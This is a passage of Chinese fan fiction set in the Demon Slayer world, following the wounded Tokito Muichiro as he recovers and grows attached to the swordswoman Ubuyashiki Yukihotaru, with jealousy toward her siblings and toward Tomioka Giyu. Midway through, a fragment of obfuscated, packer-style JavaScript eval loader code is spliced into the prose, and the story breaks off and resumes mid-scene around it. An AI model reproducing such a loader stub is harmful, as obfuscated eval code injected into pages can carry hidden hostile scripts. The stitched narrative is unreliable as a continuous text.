一个穿着蝶纹羽织的女子走进来,紫色的长发,盈盈的紫眸,脸上带着温柔的笑意。 “你醒了?”她轻声说,“太好了。我是蝴蝶香奈惠,这里是蝶屋,你好好养伤。” 无一郎看着她。 不是她。 那双眼睛不一样。 他闭上眼睛,又睡过去了。 —— 接下来的日子,他一直在昏睡和清醒之间徘徊。 他不知道自己睡了多久。只知道每次睁开眼睛,都会看见那只蝴蝶。有时候落在窗框上,有时候落在被角上,有时候落在他的手背上。 他不动,它就落着。 他一动,它就飞走。 像是在提醒他,他还活着。 活着有什么意思呢? 他不知道。 那些伤口还在疼。他不想说话,不想动,不想见任何人。 香奈惠来看他,他闭着眼睛。忍来看他,他闭着眼睛。那些来换药的蝶屋的女孩们来看他,他还是闭着眼睛。 他对什么都不感兴趣。对什么都提不起劲。仿佛他的灵魂还蜷缩在那个黑暗的角落里,不肯出来。 直到那一天。 —— 那天傍晚,夕阳从窗口照进来,落在他的被子上。 他闭着眼睛,快要睡着的时候,忽然听见一个声音。 “他怎么样了?” 那声音轻轻的,柔柔的,像是风吹过水面。 他的心跳了一下。 他睁开眼睛。 门口站着一个人。 深蓝色的长发披散在肩上,被夕阳染成金红色。白皙的脸浸在光里,像是上好的白瓷。那双蓝紫色的眼睛正望着他,里面有光,有笑,也有一种他熟悉的温柔。 是她。 那个跪在他面前的人。 那个为他擦洗伤口的人。 那个为他流泪的人。 那道 光。 无一郎看着她,一动不动。 她走过来,在他床边坐下。 “醒了?”她轻声说,“太好了。” 无一郎看着她。 看了很久很久。 然后他开口,声音沙哑得不像自己的: “你是谁?” 她笑了。 那笑容,比夕阳还好看。 “我叫雪萤。”她说,“产屋敷雪萤。” 无一郎把这个名字在心里念了一遍。 雪萤。 雪里的萤火。 他记住了。 —— 从那以后,雪萤经常来蝶屋看他。 有时候带一点水果,有时候带一本画册,有时候什么都不带,只是坐在他床边,和他说说话。 无一郎的话很少。 可他会在她来的时候睁开眼睛。会在她说话的时候看着她。会在她离开的时候,一直望着门口,直到她的背影消失。 香奈惠发现了这一点。 “无一郎好像很喜欢雪萤小姐呢。”她笑着说。 无一郎没有回答。 可他知道,她说的是对的。 她在他身边的时候,那些黑暗就不会涌上来。她看着他说话的时候,那些疼就好像没那么疼了。她对他笑的时候,他觉得活着好像也没那么糟。 他不知道这是什么感觉。 可他喜欢。 后来,他可以下床走动了。 他开始跟着雪萤。 她来,他就跟着她走。她走,他就跟着她出去。她去院子里透气,他就坐在廊下看着她。她去厨房帮忙,他就站在门口等着她。 香奈惠笑着对忍说:“无一郎变成雪萤小姐的小尾巴了。” 忍哼了一声:“挺可爱的。” 无一郎听见了,没理她们。 他不是小尾巴。 他只是……想待在她身边。 —— 有一天,雪萤问他:“无一郎,你想去我家看看吗?” 无一郎看着她。 “我家有五个弟弟妹妹。”雪萤说,“他们一定会喜欢你的。” 无一郎想了想,点点头。 他想去。 她去哪里,他就想去哪里。 —— 那之后,雪萤经常带他去产屋敷家。 一开始,他只是静静地坐着,看着她和弟弟妹妹们说话,看着她陪他们玩,看着她给他们讲故事。 他觉得那些画面很好看。 后来,他开始早起。 不知道为什么,每天早上天还没亮,他就会醒来。然后他会走出房间,坐在廊下,等着。 等着她。 她每天早上都会在院子里练刀。 太阳还没出来,她就站在那里了。深蓝色的长发高高束起,露出一截白皙的后颈。她穿着素白的练功服,握着那把叫“雪切”的刀。 然后她开始动。 刀光一闪。 快得看不清,只有一道白光掠过,空气里留下一道淡淡的冰痕。 她不停。刀光连绵不绝,一刀接一刀,像春日里细密的雨丝。那些刀光在晨曦里闪烁,像是无数颗细小的星星,在她周身飞舞。 她越动越快,身形如雪,飘忽不定。那些刀光连成一片,把她整个人裹在其中,若隐若现。透过那层薄薄的刀光,只能看见一个素白的身影,像雪中起舞的精灵。 然后她停下,收刀。 阳光刚好从东方升起,落在她身上。 她就那样站在那里,周身镀着一层金色的光。呼吸微微有些急促,胸口轻轻起伏。额角渗出细细的汗珠,在阳光下闪着光。 无一郎看着她,眼睛都不眨一下。 他觉得,这是世界上最好看的画面。 —— 后来,他每天早上都会起来看。 风雨无阻。 雪萤有时候会问他:“你怎么起这么早?” 他不回答。 他只是想看她。 看她练刀,是享受。 那种享受,他说不出来。就是觉得,看着她的时候,心里很安静。那些乱七八糟的东西,都不想了。只想看着她。 --- 可并不是所有人都喜欢他跟着雪萤。 辉利哉就不太高兴。 有一天,雪萤带着无一郎来的时候,辉利哉站在门口,双手抱在胸前,小脸板得紧紧的。 “姐姐,他怎么又来了?” 雪萤愣了一下。 “辉利哉,无一郎是客人……” “他不是客人。”辉利哉打断她,“他是跟屁虫。天天跟着姐姐,姐姐去哪他就去哪。” 无一郎看着他。 七岁的男孩,深蓝色的头发和他姐姐一模一样,小脸已经有了几分少年的轮廓。那双蓝紫色的眼睛里,满满的都是不满。 “跟屁虫?”无一郎开口了。 他的声音不大,可那话里的东西,让辉利哉愣了一下。 “你连姐姐的刀都举不起来吧。”无一郎说,“谁是跟屁虫?” 辉利哉的脸一下子涨红了。 “你——!” 雏衣、日香、彼方、杭奈从屋里跑出来,站在辉利哉身后,齐刷刷地瞪着无一郎。 “不许欺负辉利哉!” “你才是跟屁虫!” “姐姐是我们的!” “对!是我们的!” 无一郎看着她们四个,面无表情。 “四个一起上?”他说,“也打不过我。” 雏衣愣了一下,然后“哇”的一声哭了。 日香也哭了。 彼方一边哭一边喊:“姐姐!他欺负我们!” 杭奈看着姐姐们哭,也跟着哭起来。 雪萤:“……” 她叹了口气,蹲下来,把四个妹妹揽进怀里。 “不哭不哭。”她轻声哄着,“无一郎哥哥不是故意的。” 无一郎站在旁边,看着这一幕,脸上没什么表情。 可他心里,忽然有点奇怪。 为什么她会护着他? 明明是他的错。 可她没怪他。 —— 那天晚上,雪萤送他回蝶屋的时候,轻声说: “无一郎,我知道你不是故意的。” 无一郎看着她。 “有时候你这样说话,是无心的。”她说,“你只是想保护自己,对不对?” 无一郎没有说话。 可他的心,忽然跳了一下。 “受伤后的无一郎,就像还在妈妈肚子里的婴儿一样。”她的声音很轻,“把自己蜷缩起来,用壳包着自己。不想让别人靠近。” 她转过头,看着他。 那双蓝紫色的眼睛里,有光,有温柔,也有一种他看不懂的东西。 “可你现在不是一个人了。”她说,“有我在呢,你可以把我当成姐姐。” 无一郎看着她,看了很久很久。 然后他低下头。 “……嗯。” 声音很轻,轻得几乎听不见。 可雪萤听见了。 她笑了。 --- 有一天清晨,雪萤练完刀,发现无一郎还坐在廊下。 她走过去,在他身边坐下。 “怎么了?” 无一郎看着她。 “雪萤,”他忽然开口,“你是柱吗?” 雪萤愣了一下。 “是啊。” “柱是做什么的?” 雪萤想了想。 “柱,是来保护大家的。” 无一郎沉默了。 过了一会儿,他又问: “保护想保护的人吗?” 雪萤点点头。 “对。” 无一郎望着远方,望着那片被晨光照亮的天空。 “虽然很无趣,”他说,“但我也想试试。” 雪萤看着他,嘴角弯了起来。 “无一郎一定可以做得到。” 无一郎转过头,看着她。 “你为什么相信我?” 雪萤笑了,她伸出手,轻轻点在他心口。 “因为我可以听到无一郎的内心啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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除了一个人。 富冈义勇。 那个水柱。 他第一次见到义勇,是在一次柱合会议上。那个人站在角落里,靠着墙,一言不发。脸上什么表情都没有,像一尊石像。 无一郎看了他一眼,就移开目光。 后来他发现,那个人的目光,总是会落在雪萤身上。 不是一直盯着,是那种偷偷的、看一眼就移开的看。 可无一郎看见了。 他看见那个人看雪萤的时候,眼睛里有光。 和他自己看雪萤的时候,一模一样。 他不喜欢。 —— 有一次,柱合会议结束后,众人陆续离开。 无一郎站在院子里,等着雪萤。 义勇从他身边走过。 两个人对视了一眼。 无一郎开口了: “你站的地方,光线挺好的。” 义勇愣了一下,没明白他在说什么。 无一郎继续说: “像展览馆里的陈列品。安安静静的,不声不响的。偶尔动一动,想让人看见。” 义勇:“……”不太明白他的意思。 无一郎歪着头看他: “可你动得太少了。别人都看不见你。” 义勇沉默了一会儿,然后说: “……哦。” 他走了。 无一郎看着他的背影,心里有点奇怪。 这个人,怎么不生气? —— 后来他把这件事告诉雪萤。 雪萤听完,笑得弯下了腰。 “无一郎,”她说,“你怎么这么说人家?” 无一郎认真地说:“他就是那样。” 雪萤笑着摇摇头。 “义勇只是不太会说话。他人很好的。” 无一郎看着她。 她替那个人说话。 他不高兴。 “他喜欢你。”他说。 雪萤愣了一下。 “什么?” 无一郎看着她,那双眼睛亮亮的,里面全是不满。 “他看你的时候,眼睛会亮。” 雪萤的脸微微红了一下。 “无一郎,你别乱说……” “我没乱说。”无一郎打断她,“我看见了。” 雪萤不知道该说什么。 无一郎继续说: “我不喜欢他。” 雪萤看着他,有点无奈。 “为什么?” 无一郎想了想。 “因为他想引起你注意。和你说话。让你看他。” 他顿了顿。 “和我一样。” 雪萤愣住了。 然后她笑了。 那笑容,比阳光还暖。 她伸出手,轻轻揉了揉他的发顶。 “无一郎,”她说,“你不用和谁比。” 无一郎看着她。 “你就是你。”她说,“我认识的时透无一郎。” 无一郎看着她,看了很久很久。 然后他低下头。 “……嗯。” 声音很轻。 可他心里,有什么东西,被填满了。 —— 远处,夕阳正在落下。 霞光满天。 像他的呼吸一样。